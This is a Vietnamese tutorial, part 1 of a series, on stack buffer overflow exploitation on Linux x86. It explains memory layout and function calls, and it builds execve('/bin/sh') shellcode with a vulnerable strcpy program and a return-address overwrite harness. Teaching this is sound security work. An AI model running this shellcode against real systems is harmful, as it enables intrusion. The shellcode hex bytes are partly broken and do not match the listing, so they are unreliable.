KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM - Phần 1

Chia sẻ: Đường Anh Tuấn | Ngày: | Loại File: PDF | Số trang:14

Thêm vào BST

Báo xấu

296
lượt xem 78
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Loạt bài viết này trình bày về tràn bộ đệm (buffer overflow) xảy ra trên stack và kỹ thuật khai thác lỗi bảo mật phổ biến nhất này. Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit) được xem là một trong những kỹ thuật hacking kinh điển nhất. Bài viết được chia làm 2 phần: Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode. Giới thiệu tổ chức bộ nhớ của một tiến trình (process), các thao tác trên bộ nhớ stack khi gọi hàm và kỹ thuật cơ bản để tạo shellcode - đoạn...

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM - Phần 1

KỸ THUẬT KHAI THÁC LỖI TRÀN BỘ ĐỆM Tóm tắt : Loạt bài viết này trình bày về tràn bộ đệm (buffer overflow) xảy ra trên stack và kỹ thuật khai thác lỗi bảo mật phổ biến nhất này. Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit) được xem là một trong những kỹ thuật hacking kinh điển nhất. Bài viết được chia làm 2 phần: Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode. Giới thiệu tổ chức bộ nhớ của một tiến trình (process), các thao tác trên bộ nhớ stack khi gọi hàm và kỹ thuật cơ bản để tạo shellcode - đoạn mã thực thi một giao tiếp dòng lệnh (shell). Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ thuật tràn bộ đệm cơ bản, tổ chức shellcode, xác định đ ịa chỉ trả về, đ ịa chỉ shellcode, cách truyền shellcode cho chương trình bị lỗi. Các chi tiết kỹ thuật minh hoạ ở đây được thực hiện trên môi trường Linux x86 (kernel 2.2.20, glibc-2.1.3), tuy nhiên về mặt lý thuyết có thể áp dụng cho bất kỳ môi trường nào khác. Người đọc cần có kiến thức cơ bản về lập trình C, hợp ngữ (assembly), trình biên dịch gcc và công cụ gỡ rối gdb (GNU Debugger). Nếu bạn đã biết kỹ thuật khai thác lỗi tràn bộ đệm qua các tài liệu khác, bài viết này cũng có thể giúp bạn củng cố lại kiến thức một cách chắc chắn hơn. Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode Mục lục : Giới thiệu  1. Tổ chức bộ nhớ  o 1.1 Tổ chức bộ nhớ của một tiến trình (process) o 1.2 Stack 2. Gọi hàm  o 2.1 Giới thiệu o 2.2 Khởi đầu o 2.3 Gọi hàm o 2.3 Kết thúc 3. Shellcode  o 3.1 Viết shellcode trong ngôn ngữ C o 3.2 Giải mã hợp ngữ các hàm o 3.3 Định vị shellcode trên bộ nhớ o 3.4 Vấn đề byte giá trị null o 3.5 Tạo shellcode Giới thiệu Để tìm hiểu chi tiết về lỗi tràn bộ đệm, cơ chế hoạt động và cách khai thác lỗi ta hãy bắt đầu bằng một ví dụ về chương trình b ị tràn bộ đệm.
/* vuln.c */ int main(int argc, char **argv) { char buf[16]; if (argc>1) { strcpy(buf, argv[1]); printf("%s\n", buf); } } [SkZ0@gamma bof]$ gcc -o vuln -g vuln.c [SkZ0@gamma bof]$ ./vuln AAAAAAAA // 8 ký tự A (1) AAAAAAAA [SkZ0@gamma bof]$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // 24 ký tự A (2) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) Chạy chương trình vuln với tham số là chuỗi dài 8 ký tự A (1), chương trình hoạt động bình thường. Với tham số là chuỗi dài 24 ký tự A (2), chương trình bị lỗi Segmentation fault. Dễ thấy bộ đệm buf trong chương trình chỉ chứa được tối đa 16 ký tự đã bị làm tràn bởi 24 ký tự A. [SkZ0@gamma bof]$ gdb vuln -c core -q Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in ?? () (gdb) info register eip eip 0x41414141 1094795585 (gdb) Thanh ghi eip - con trỏ lệnh hiện hành - có giá trị 0x41414141, tương đương 'AAAA' (ký tự A có giá trị 0x41 hexa). Ta thấy, có thể thay đ ổi giá trị của thanh ghi con trỏ lệnh eip bằng cách làm tràn bộ đệm buf. Khi lỗi tràn bộ đệm đã xảy ra, ta có thể khiến chương trình thực thi mã lệnh tuỳ ý bằng cách thay đ ổi con trỏ lệnh e ip đến đ ịa chỉ bắt đầu của đoạn mã lệnh đó. Để hiểu rõ quá trình tràn bộ đệm xảy ra như thế nào, chúng ta sẽ xem xét chi tiết tổ chức bộ nhớ, stack và cơ chế gọi hàm của một chương trình. 1. Tổ chức bộ nhớ 1.1 Tổ chức bộ nhớ của một tiến trình (process) Mỗi tiến trình thực thi đều được hệ điều hành cấp cho một không gian bộ nhớ ảo (logic) giống nhau. Không gian nhớ này gồm 3 vùng: text, data và stack. Ý nghĩa của 3 vùng này như sau:
Vùng text là vùng cố định, chứa các mã lệnh thực thi (instruction) và dữ liệu chỉ đọc (read -only). Vùng này được chia sẻ giữa các tiến trình thực thi cùng một file chương trình và tương ứng với phân đoạn text của file thực thi. Dữ liệu ở vùng này là chỉ đọc, mọi thao tác nhằm ghi lên vùng nhớ này đều gây lỗi segmentation violation. Vùng data chứa các dữ liệu đã được khởi tạo hoặc chưa khởi tạo giá trị. Các biến toàn cục và biến tĩnh được chứa trong vùng này. Vùng data tương ứng với phân đoạn data-bss của file thực thi. Vùng stack là vùng nhớ được dành riêng khi thực thi chương trình dùng để chứa giá trị các biến cục bộ của hàm, tham số gọi hàm cũng như giá trị trả về. Thao tác trên bộ nhớ stack được thao tác theo cơ chế "vào sau ra trước" - LIFO (Last In, First Out) với hai lệnh quan trọng nhất là PUSH và POP. Trong phạm vi bài viết này, chúng ta chỉ tập trung tìm hiểu về vùng stack. 1.2 Stack Stack là một kiểu cấu trúc dữ liệu trừu tượng cấp cao được dùng cho các thao tác đặc biệt dạng LIFO. Tổ chức của vùng stack gồm các stack frame được push vào khi g ọi một hàm và pop ra khỏi stack khi trở về. Một stack frame chứa các thông số cần thiết cho một hàm: biến cục bộ, tham số hàm, giá trị trả về; và các dữ liệu cần thiết để khôi phục stack frame trước đó, kể cả giá trị của con trỏ lệnh (instruction pointer) vào thời đ iểm gọi hàm. Địa chỉ đáy của stack được gán một giá trị cố đ ịnh. Địa chỉ đỉnh của stack được lưu bởi thanh ghi "con trỏ stack" (ESP – extended stack pointer). Tuỳ thuộc vào hiện thực, stack có thể phát triển theo hướng địa chỉ nhớ từ cao xuống thấp hoặc từ thấp lên cao. Trong các ví dụ về sau, chúng ta sử dụng stack có đ ịa chỉ nhớ phát triển từ cao xuống thấp, đây là hiện thực của kiến trúc Intel. Con trỏ stack (SP) cũng phụ thuộc vào kiến trúc hiện thực. Nó có thể trỏ đến địa chỉ cuối cùng trên đỉnh stack hoặc địa chỉ vùng nhớ trống kế tiếp trên stack. Trong các minh hoạ về sau (với kiến trúc Intel x86), SP trỏ đến đ ịa chỉ cuối cùng trên đỉnh stack. Về lý thuyết, các biến cục bộ trong một stack frame có thể được truy xuất dựa vào độ dời (offset) so với SP. Tuy nhiên khi có các thao tác thêm vào hay lấy ra trên stack, các độ dời này cần phải được tính toán lại, làm giảm hiệu quả. Để tăng hiệu quả, các trình biên dịch sử dụng một thanh ghi thứ hai gọi là "con trỏ nền" (EBP – e xtended base pointer) hay còn g ọi là "con trỏ frame" (FP – frame pointer). FP trỏ đến một giá trị cố định trong một stack frame, thường là giá trị đầu tiên của stack frame, các biến cục bộ và tham số được truy xuất qua đ ộ dời so với FP và do đó không bị thay đổi bởi các thao tác thêm/bớt tiếp theo trên stack. Đơn vị lưu trữ cơ bản trên stack là word, có giá trị bằng 32 bit (4 byte) trên các CPU Intel x86. (Trên các CPU Alpha hay Sparc giá trị này là 64 bit). Mọi giá trị biến được cấp phát trên stack đều có kích thước theo bội số của word. Thao tác trên stack được thực hiện bởi 2 lệnh máy: push value : đưa giá trị ‘value’ vào đỉnh của stack. Giảm giá trị của %esp đi 1 word và đặt  giá trị ‘value’ vào word đó. pop dest: lấy giá trị từ đỉnh stack đ ưa vào ‘dest’. Đặt giá trị trỏ bởi %esp vào ‘dest’ và  tăng giá trị của %esp lên 1 word.
2. Hàm và gọi hàm 2.1 Giới thiệu Để giải thích hoạt động của chương trình khi gọi hàm, chúng ta sẽ sử dụng đoạn chương trình ví dụ sau: /* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; p rintf("i=%d\n",i); } Quá trình gọi hàm có thể được chia làm 3 bước: 1. Khởi đầu (prolog): trước khi chuyển thực thi cho một hàm cần chuẩn bị một số công việc như lưu lại trạng thái hiện tại của stack, cấp phát vùng nhớ cần thiết để thực thi. 2. Gọi hàm (call): khi hàm được gọi, các tham số đ ược đặt vào stack và con trỏ lệnh (IP – instruction pointer) được lưu lại để cho phép chuyển quá trình thực thi đến đúng điểm sau gọi hàm. 3. Kết thúc (epilog): khôi phục lại trạng thái như trước khi gọi hàm. 2.2 Khởi đầu Một hàm luôn được khởi đầu với các lệnh máy sau: push %ebp mov %esp,%ebp sub $0xNN,%esp // (giá trị 0xNN phụ thuộc vào từng hàm cụ thể) 3 lệnh máy này được gọi là bước khởi đầu (prolog) của hàm. Hình sau giải thích bước khởi đầu của hàm toto() và giá trị của các thanh ghi %esp , %ebp. Hình 1: Bư ớc khởi đầu của hàm Giả sử ban đầu %ebp trỏ đến đ ịa chỉ X bất kỳ trên bộ nhớ, %esp trỏ đến một địa chỉ Y thấp hơn bên dưới. Trước khi chuyển vào một hàm, cần phải lưu lại môi trường của stack frame hiện tại, do mọi giá trị trong một stack frame đều có thể được tham khảo qua %ebp , ta ch ỉ cần lưu
%ebp là đ ủ. Vì %ebp đ ược push vào stack, nên %esp sẽ giảm đi 1 word. Giá trị %ebp được push vào stack này được gọi là "con trỏ nền bảo lưu" (SFP - saved frame pointer). Lệnh máy thứ hai sẽ thiết lập một môi trường mới bằng cách đ ặt %ebp trỏ đến đ ỉnh của stack (giá trị đ ầu tiên của một stack frame), lúc này %ebp và %esp sẽ trỏ cùng đ ến một vị trí có địa chỉ là (Y-1word). Lệnh máy thứ ba cấp phát vùng nhớ dành cho biến cục bộ. Mảng ký tự có độ dài 5 byte, tuy nhiên stack sử dụng đơn vị lưu trữ là word, do đó vùng nhớ được cấp cho mảng ký tự sẽ là một bội số của word sao cho lớn hơn hoặc bằng kích thước của mảng. Dễ thấy giá trị đó là 8 byte (2 word). Biến k kiểu nguyên có kích thước 4 byte, vì vậy kích thước vùng nhớ dành cho biến cục bộ sẽ là 8+4=12 byte (3 word), được cấp phát bằng cách giảm %esp đ i một giá trị 0xc (bằng 12 trong hệ cơ số 16). Một điều cần lưu ý ở đây là biến cục bộ luôn có đ ộ dời âm so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán i=0 trong hàm main() có thể minh hoạ điều này. Mã hợp ngữ dùng định vị gián tiếp để xác định vị trí của i: movl $0x0,0xfffffffc(%ebp) 0xfffffffc tương đương giá trị số nguyên bằng –4. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “-4” byte so với thanh ghi %ebp . i là biến đầu tiên trong hàm main() và có đ ịa chỉ cách 4 byte ngay dưới %ebp. 2.3 Gọi hàm Cũng giống như bước khởi đầu, b ước này cũng chuẩn bị môi trường cho phép nơi gọi hàm truyền các tham số cho hàm được gọi và trở về lại nơi gọi hàm khi kết thúc. Trước khi gọi hàm các tham số sẽ được đ ặt vào stack, theo thứ tự ngược lại, tham số cuối cùng sẽ được đặt vào trước. Trong ví dụ trên, trước tiên các giá trị 1 và 2 sẽ được đặt vào stack. Thanh ghi %eip giữ giá trị đ ịa chỉ của lệnh kế tiếp, trong trường hợp này là chỉ thị gọi hàm. Khi thực hiện lệnh call, %eip sẽ lấy giá trị địa chỉ của kế tiếp ngay sau gọi hàm (trên hình vẽ, giá trị này là Z+5 do lệnh gọi hàm chiếm 5 byte theo hiện thực của CPU Intel x86). Lệnh call sau đó sẽ lưu lại giá trị của %eip đ ể có thể tiếp tục thực thi sau khi trở về. Quá trình này được thực hiện bằng một lệnh ngầm (không tường minh) đ ặt %eip lên stack: push %eip Giá tr ị lưu trên stack này được gọi là "con trỏ lệnh bảo lưu" (SIP – save instruction pointer), hay "địa chỉ trả về" (RET – return address).
Giá tr ị được truyền như một tham số cho lệnh call chính là đ ịa chỉ của lệnh khởi đầu (prolog) đầu tiên của hàm toto(). Giá trị này sẽ được chép vào %eip và trở thành lệnh đ ược thực thi tiếp theo. Lưu ý rằng khi ở bên trong một hàm, các tham số và địa chỉ trả về có độ dời dương (+) so với con trỏ nền %ebp. Lệnh máy thực hiện phép gán j=0 minh hoạ đ iều này. Mã hợp ngữ sử dụng định vị gián tiếp để truy xuất biến j: movl $0x0,0xc(%ebp) 0xc có giá trị số nguyên bằng 12. Lệnh trên có nghĩa: đặt giá trị 0 vào biến ở địa chỉ có độ dời “+12” byte so với %ebp. j là tham số thứ 2 của hàm toto() và có địa chỉ cách 12 byte ngay trên %ebp (4 cho RET, 4 cho tham số đầu tiên và 4 cho tham số thứ 2). 2.4 Kết thúc Thoát khỏi một hàm được thực hiện trong 2 bư ớc. Trước tiên, môi trư ờng tạo ra cho hàm thực thi cần được "dọn dẹp" (nghĩa là khôi phục giá trị cho %ebp và %eip). Sau đó, chúng ta phải kiểm tra stack để lấy các thông tin liên quan đến hàm vừa thoát ra. Bước thứ nhất được thực hiện trong bên trong hàm với 2 lệnh: leave ret Bước kế tiếp được thực hiện nơi gọi hàm sẽ "dọn dẹp" vùng stack dùng chứa các tham số của hàm được gọi. Chúng ta sẽ tiếp tục ví dụ trên với hàm toto(). Hình 3 : Trở về Ở đây chúng ta mô tả lại đ ầy đủ hơn tình huống ban đ ầu, trước lệnh call và bước khởi đầu (prolog). Trước khi lệnh call xảy ra, %ebp ở đ ịa chỉ X và %esp ở địa chỉ Y trên stack. Bắt đầu từ Y, chúng ta sẽ cấp phát các vùng nhớ dành cho tham số, giá trị bảo lưu của %eip và %ebp , và vùng nhớ dành cho các biến cục bộ của hàm. Lệnh sẽ được thực thi kế tiếp là leave , lệnh này tương đương với 2 lệnh sau: mov %ebp, %esp pop %ebp Lệnh đầu tiên sẽ đưa %esp và %ebp trỏ đ ến cùng vị trí hiện tại của %ebp. Lệnh thứ hai lấy ra giá trị trên đ ỉnh stack đ ặt vào thanh ghi %ebp. Ta thấy, sau lệnh leave, stack trở lại trạng thái như trước khi xảy ra b ước khởi đ ầu (prolog).
Lệnh ret sẽ khôi phục giá trị %eip để nơi gọi hàm trở lại tiếp tục thực thi lệnh kế, là lệnh ngay sau hàm vừa thoát ra. Để làm điều này, giá trị ngay trên đỉnh stack sẽ được lấy ra đặt vào thanh ghi %eip. Chúng ta vẫn chưa trở lại đ ược tình trạng ban đ ầu do các tham số truyền cho hàm vẫn còn chưa được dọn khỏi stack. Chúng sẽ đ ược xoá đi trong lệnh kế tiếp ở địa chỉ Z+5 được lưu trong %eip. Việc cấp phát và thu hồi vùng stack của các tham số hàm được thực hiện nơi gọi hàm. Điều này đ ược minh hoạ trên hình bên với lệnh: add 0x8, %esp Lệnh này sẽ dời %esp từ đỉnh stack với số byte bằng số b yte được cấp cho các tham số của hàm toto(). Thanh ghi %ebp và %esp lúc này giống với tình trạng trước khi lệnh gọi xảy ra. Tuy nhiên giá trị của thanh ghi %eip đã được chuyển đ ến lệnh kế tiếp. Biên dịch và giải hợp ngữ chương trình minh hoạ trên với gdb để xem mã hợp ngữ tương ứng với các bước đã trình bày. [SkZ0@gamma bof]$ gcc -g -o fct fct.c [SkZ0@gamma bof]$ gdb fct -q (gdb)disassemble main //hàm main Dump of assembler code for function main: 0x80483e0 : push %ebp //bước khởi đầu - prolog 0x80483e1 : mov %esp,%ebp 0x80483e3 : sub $0x4,%esp 0x80483e6 : movl $0x1,0xfffffffc(%ebp) 0x80483ed : push $0x2 //gọi hàm - call 0x80483ef : push $0x1 0x80483f1 : call 0x80483b4 0x80483f6 : add $0x8,%esp //trở về từ hàm toto() 0x80483f9 : movl $0x0,0xfffffffc(%ebp) 0x8048400 : mov 0xfffffffc(%ebp),%eax 0x8048403 : push %eax //g ọi hàm - call 0x8048404 : push $0x804846e 0x8048409 : call 0x8048308 0x804840e : add $0x8,%esp //trở về từ hàm printf() 0x8048411 : leave //trở về từ hàm main()
0x8048412 : ret 0x8048413 : nop End of assembler dump. (gdb) disassemble toto //hàm toto Dump of assembler code for function toto: 0x80483b4 : push %ebp //bước khởi đầu - prolog 0x80483b5 : mov %esp,%ebp 0x80483b7 : sub $0xc,%esp 0x80483ba : mov 0x8048468,%eax 0x80483bf : mov %eax,0xfffffff8(%ebp) 0x80483c2 : mov 0x804846c,%al 0x80483c8 : mov %al,0xfffffffc(%ebp) 0x80483cb : movl $0x3,0xfffffff4(%ebp) 0x80483d2 : movl $0x0,0xc(%ebp) 0x80483d9 : jmp 0x80483dc 0x80483db : nop 0x80483dc : leave //trở về từ hàm toto() 0x80483dd : ret 0x80483de : mov %esi,%esi End of assembler dump. (gdb) 3. Shellcode Khi tràn bộ đệm xảy ra, ta có thể thao tác trên stack, ghi đè giá trị trả về RET và khiến chương trình thực thi mã lệnh bất kỳ. Thông thường và đ ơn giản nhất là khiến chương trình thực thi một đoạn mã để chạy một giao tiếp dòng lệnh shell. Vì sẽ được chèn trực tiếp vào g iữa bộ nhớ chương trình để thực thi tiếp nên đ oạn mã này phải đ ược viết ở dạng hợp ngữ. Những đoạn mã chương trình kiểu này thường được gọi là shellcode. 3.1 Viế t shellcode trong ngôn ngữ C Mục đích của shellcode là để thực thi một giao tiếp dòng lệnh shell. Trước tiên hãy viết ở ngôn ng ữ C: /* shellcode.c */ #include #include int main() { char * name[] = {"/bin/sh", NULL}; e xecve(name[0], name, NULL); _exit (0); }
Trong số các hàm dạng e xec() được dùng để gọi thực thi một chương trình khác, execve() là hàm nên dùng. Lý do: execve() là hàm hệ thống (system-call) khác với các hàm e xec() khác được hiện thực trong libc (và do đó cũng được hiện thực dựa trên execve()). Hàm hệ thống được thực hiện thông qua gọi ngắt với các giá trị tham số đặt trong thanh ghi đ ịnh trước, do đó mã hợp ngữ tạo ra sẽ ngắn gọn. Hơn nữa, nếu gọi e xecve() thành công, chương trình gọi sẽ được thay thế bởi chương trình được gọi và xem như mới bắt đầu quá trình thực thi. Nếu gọi e xecve() không thành công, chương trình gọi sẽ tiếp tục quá trình thực thi. Khi khai thác lỗ hổng, đoạn mã shellcode sẽ được chèn vào giữa quá trình thực thi của chương trình bị lỗi. Sau khi đã chạy các mã lệnh theo ý muốn, việc tiếp tục quá trình thực thi của chương trình là không cần thiết và đôi khi gây ra những kết quả ngoài ý muốn do nội dung của stack đã b ị làm thay đổi. Vì vậy, quá trình thực thi cần được kết thúc ngay khi có thể. Ở đây chúng ta sử dụng _exit() để kết thúc thay vì dùng exit() là hàm thư viện libc được hiện thực dựa trên hàm hệ thống _exit(). Hãy ghi nhớ các tham số để truyền cho hàm execve() trên: chuỗi /bin/sh  địa chỉ của mảng tham số (kết thúc bằng con trỏ NULL)  địa chỉ của mảng biến môi trường (ở đây là con trỏ NULL)  3.2 Giải mã hợp ngữ các hàm Biên dịch shellcode.c với option debug và static để tích hợp các hàm được liên kết qua thư viện động vào trong chương trình. [SkZ0@gamma bof]$ gcc -o shellcode shellcode.c -O2 -g --static Bây giờ hãy xem xét mã hợp ngữ của hàm main() bằng gdb . [SkZ0@gamma bof]$ gdb shellcode -q (gdb) disassemble main Dump of assembler code for function main: 0x804818c : push %ebp 0x804818d : mov %esp,%ebp 0x804818f : sub $0x8,%esp 0x8048192 : movl $0x0,0xfffffff8(%ebp) 0x8048199 : movl $0x0,0xfffffffc(%ebp) 0x80481a0 : mov $0x806f388,%edx 0x80481a5 : mov %edx,0xfffffff8(%ebp) 0x80481a8 : push $0x0 0x80481aa : lea 0xfffffff8(%ebp),%eax 0x80481ad : push %eax 0x80481ae : push %edx 0x80481af : call 0x804c6ec 0x80481b4 : push $0x0 0x80481b6 : call 0x804c6d0 End of assembler dump. (gdb) Để ý lệnh sau:
0x80481a0 : mov $0x806f388,%edx Lệnh này chuyển một giá trị địa chỉ nhớ vào thanh ghi %edx. (gdb ) printf "%s\n", 0x806f388 /bin/sh (gdb) Như vậy địa chỉ chuỗi "/bin/sh" sẽ được đặt vào thanh ghi %edx. Trước khi gọi các hàm thấp hơn của thư viện C hiện thực hàm hệ thống e xecve() các tham số đ ược đặt vào stack theo thứ tự: con trỏ NULL  0x80481a8 : push $0x0 địa chỉ của mảng tham số  0x80481aa : lea 0xfffffff8(%ebp),%eax 0x80481ad : push %eax địa chỉ của chuỗi /bin/sh  0x80481ae : push %edx Hãy xem các hàm execve() và _exit() (gdb) disassemble __execve Dump of assembler code for function __execve: 0x804c6ec : push %ebp 0x804c6ed : mov %esp,%ebp 0x804c6ef : push %edi 0x804c6f0 : push %ebx 0x804c6f1 : mov 0x8(%ebp),%edi 0x804c6f4 : mov $0x0,%eax 0x804c6f9 : test %eax,%eax 0x804c6fb : je 0x804c702 0x804c6fd : call 0x0 0x804c702 : mov 0xc(%ebp),%ecx 0x804c705 : mov 0x10(%ebp),%edx 0x804c708 : push %ebx 0x804c709 : mov %edi,%ebx 0x804c70b : mov $0xb,%eax 0x804c710 : int $0x80 0x804c712 : pop %ebx 0x804c713 : mov %eax,%ebx 0x804c715 : cmp $0xfffff000,%ebx 0x804c71b : jbe 0x804c72b 0x804c71d : call 0x80482b8 0x804c722 : neg %ebx 0x804c724 : mov %ebx,(%eax)
0x804c726 : mov $0xffffffff,%ebx 0x804c72b : mov %ebx,%eax 0x804c72d : lea 0xfffffff8(%ebp),%esp 0x804c730 : pop %ebx 0x804c731 : pop %edi 0x804c732 : leave 0x804c733 : ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804c6d0 : mov %ebx,%edx 0x804c6d2 : mov 0x4(%esp,1),%ebx 0x804c6d6 : mov $0x1,%eax 0x804c6db : int $0x80 0x804c6dd : mov %edx,%ebx 0x804c6df : cmp $0xfffff001,%eax 0x804c6e4 : jae 0x804ca80 End of assembler dump. (gdb) quit Hệ đ iều hành sẽ thực hiện một lệnh call bằng cách gọi ngắt 0x80, ở các đ ịa chỉ 0x804c710 cho execve() và 0x804c6db cho _exit(). Các đ ịa chỉ này thường không giống nhau đối với mỗi hàm hệ thống, đặc đ iểm để phân biệt chính là nội dung thanh ghi %eax. Xem ở trên, giá trị này là 0xb với execve() trong khi _exit() là 0x1. Phân tích mã hợp ngữ trên chúng ta rút ra một số kết luận sau: trư ớc khi gọi thực thi hàm __execve() bằng gọi ngắt 0x80:  o thanh ghi %edx giữ giá trị địa chỉ của mảng biến môi trường: 0x804c705 : mov 0x10(%ebp),%edx Để đơn giản, chúng ta sẽ sử dụng biến môi trường rỗng bằng cách gán giá trị này bằng một con trỏ NULL. thanh ghi %ecx giữ giá trị địa chỉ của mảng tham số o 0x804c702 : mov 0xc(%ebp),%ecx Tham số đầu tiên phải là tên của chương trình, ở đây dơn giản chỉ là một mảng dùng để chứa địa chỉ của chuỗi "/bin/sh" và kết thúc bằng một con trỏ NULL. thanh ghi %ebx giữ địa chỉ của chuỗi tên chương trình cần thực thi, trong trường o hợp này là "/bin/sh" 0x804c6f1 : mov 0x8(%ebp),%edi ... 0x804c709 : mov %ed i,%ebx 
hàm _exit(): kết thúc quá trình thực thi, mã kết quả trả về cho quá trình cha (thường là  shell) được lưu trong thanh ghi %ebx 0x804c6d2 : mov 0x4(%esp,1),%ebx Để hoàn tất việc tạo mã hợp ngữ, chúng ta cần một nơi chứa chuỗi "/bin/sh", một con trỏ đến chuỗi này và một con trỏ NULL (để kết thúc mảng tham số, đ ồng thời là con trỏ biến môi trư ờng). Những dữ liệu trên phải được chuẩn bị trước khi thực thiện gọi e xecve(). 3.3 Định vị shellcode trên bộ nhớ Thông thường shellcode sẽ được chèn vào chương trình b ị lỗi thông qua tham số dòng lệnh, biến môi trường hay chuỗi nhập từ bàn phím/file. Dù bằng cách nào thì khi tạo shellcode chúng ta cũng không thể biết được địa chỉ của nó. Không những thế chúng ta còn buộc phải biết trước địa chỉ chuỗi "/bin/sh". Tuy nhiên, bằng một số thủ thuật chúng ta có thể giải quyết đ ược trở ngại đó. Có hai cách để định vị shellcode trên bộ nhớ, tất cả đều thông qua định vị gián tiếp để đảm bảo tính độc lập. Để đơn giản, ở đây chúng ta sẽ trình bày cách đ ịnh vị shellcode dùng stack. Để chuẩn bị mảng tham số và con trỏ biến môi trường cho hàm e xecve(), chúng ta sẽ đặt trực tiếp chuỗi "/bin/sh", con trỏ NULL lên stack và xác định đ ịa chỉ thông qua giá trị thanh ghi %esp . Mã hợp ngữ sẽ có dạng sau: beginning_of_shellcode: pushl $0x0 // giá trị null kết thúc chuỗi /bin/sh pushl "/bin/sh" // chuỗi /bin/sh movl %esp,%ebx // %ebx chứa địa chỉ /bin/sh push NULL // con trỏ NULL của mảng tham số ... (mã hợp ngữ của shellcode) 3.4 Vấn đề byte giá trị null Các hàm b ị lỗi thường là các hàm xử lý chuỗi như strcpy(), scanf(). Để chèn được mã lệnh vào giữa chương trình, shellcode phải được chép vào dưới dạng một chuỗi. Tuy nhiên, các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0). Do đó, shellcode của chúng ta phải không được chứa bất kỳ giá trị null nào. Ta sẽ sử dụng một số thủ thuật để loại bỏ giá trị null, ví dụ lệnh: push $0x00 Sẽ được thay thế tương đương bằng: xorl %eax, %eax push %eax Đó là cách xử lý các null byte trực tiếp. Giá trị null còn phát sinh khi chuyển các mã lệnh sang dạng hexa. Ví dụ, lệnh chuyển giá trị 0x1 vào thanh ghi %eax để gọi _exit(): 0x804c6d6 : mov $0x1,%eax Chuyển sang dạng hexa sẽ thành chuỗi:
b8 01 00 00 00 mov $0x1,%eax Thủ thuật sử dụng là khởi tạo giá trị cho %eax bằng một thanh ghi có giá trị 0, sau đó tăng nó lên 1 (hoặc cũng có thể dùng lệnh movb thao tác trên 1 byte thấp của %eax) 31 c0 xor %eax,%eax 40 inc %eax 3.5 Tạo shellcode Chúng ta đã có đầy đủ những gì cần thiết để tạo shellcode. Chương trình tạo shellcode: /* shellcode_asm.c */ int main() { a sm(" /* push giá trị null kết thúc /bin/sh vào stack */ xorl %eax,%eax pushl %eax /* push chuỗi /bin/sh vào stack */ pushl $0x68732f2f /* chuỗi //sh, độ dài 1 word */ pushl $0x6e69622f /* chuỗi /bin */ /* %ebx chứa đ ịa chỉ chuỗi /bin/sh */ movl %esp, %ebx /* push con trỏ NULL, phần tử thứ hai của mảng tham số */ pushl %eax /* push địa chỉ của /bin/sh, phần tử thứ hai của mảng tham số */ pushl %ebx /* %ecx chứa đ ịa chỉ mảng tham số */ movl %esp,%ecx /* %edx chứa đ ịa chỉ mảng biến môi trư ờng, con trỏ NULL */ /* có thể dùng lệnh tương đương cdq, ngắn hơn 1 byte */ movl %eax, %edx /* Hàm execve(): %eax = 0xb */ movb $0xb,%al /* Gọi hàm */ int $0x80 /* Giá trị trả về 0 cho hàm _exit() */ xorl %ebx,%ebx /* Hàm _exit(): %eax = 0x1 */ movl %ebx,%eax inc %eax /* Gọi hàm */ int $0x80 "); } Dịch shellcode trên và dump ở dạng hợp ngữ: [SkZ0@gamma bof]$ gcc -o shellcode_asm shellcode_asm.c [SkZ0@gamma bof]$ objdump -d shellcode_asm | grep \: -A 17
08048380 : 8048380: 55 pushl %ebp 8048381: 89 e5 movl %esp,%ebp 8048383: 31 c0 xorl %eax,%eax 8048385: 50 pushl %eax 8048386: 68 2f 2f 73 68 pushl $0x68732f2f 804838b: 68 2f 62 69 6e pushl $0x6e69622f 8048390: 89 e3 movl %esp,%ebx 8048392: 50 pushl %eax 8048393: 53 pushl %ebx 8048394: 89 e1 movl %esp,%ecx 8048396: 89 c2 movl %eax,%edx 8048398: b0 0b movb $0xb,%al 804839a: cd 80 int $0x80 804839c: 31 db xorl %ebx,%ebx 804839e: 31 c0 xorl %eax,%eax 80483a0: 40 incl %eax 80483a1: cd 80 int $0x80 Hãy chạy thử shellcode trên: /* testsc.c */ char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50" "\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80"; int main() { int * ret; /* ghi đè giá trị bảo lưu %eip trên stack bằng địa chỉ shellcode */ /* khoảng cách so với biến ret là 8 byte (2 word): */ /* - 4 byte cho biến ret */ /* - 4 byte cho giá trị bảo lưu %ebp */ * ((int *) & ret + 2) = (int) shellcode; return (0); } Chạy thử chương trình testsc: [SkZ0@gamma bof]$ gcc testsc.c -o testsc [SkZ0@gamma bof]$ ./testsc bash$ exit [SkZ0@gamma bof]$ Ta có thể thêm vào các hàm để mở rộng tính năng của shellcode, thực hiện các thao tác cần thiết khác trước khi gọi "/bin/sh" như setuid(), setgid(), chroot(),... bằng cách chèn mã hợp ngữ của các hàm này vào trước đoạn shellcode trên. Có thể thấy ở ví dụ chạy thử shellcode ý tưởng cơ bản để khai thác lỗi tràn bộ đệm, chi tiết sẽ được trình bày trong phần tiếp theo.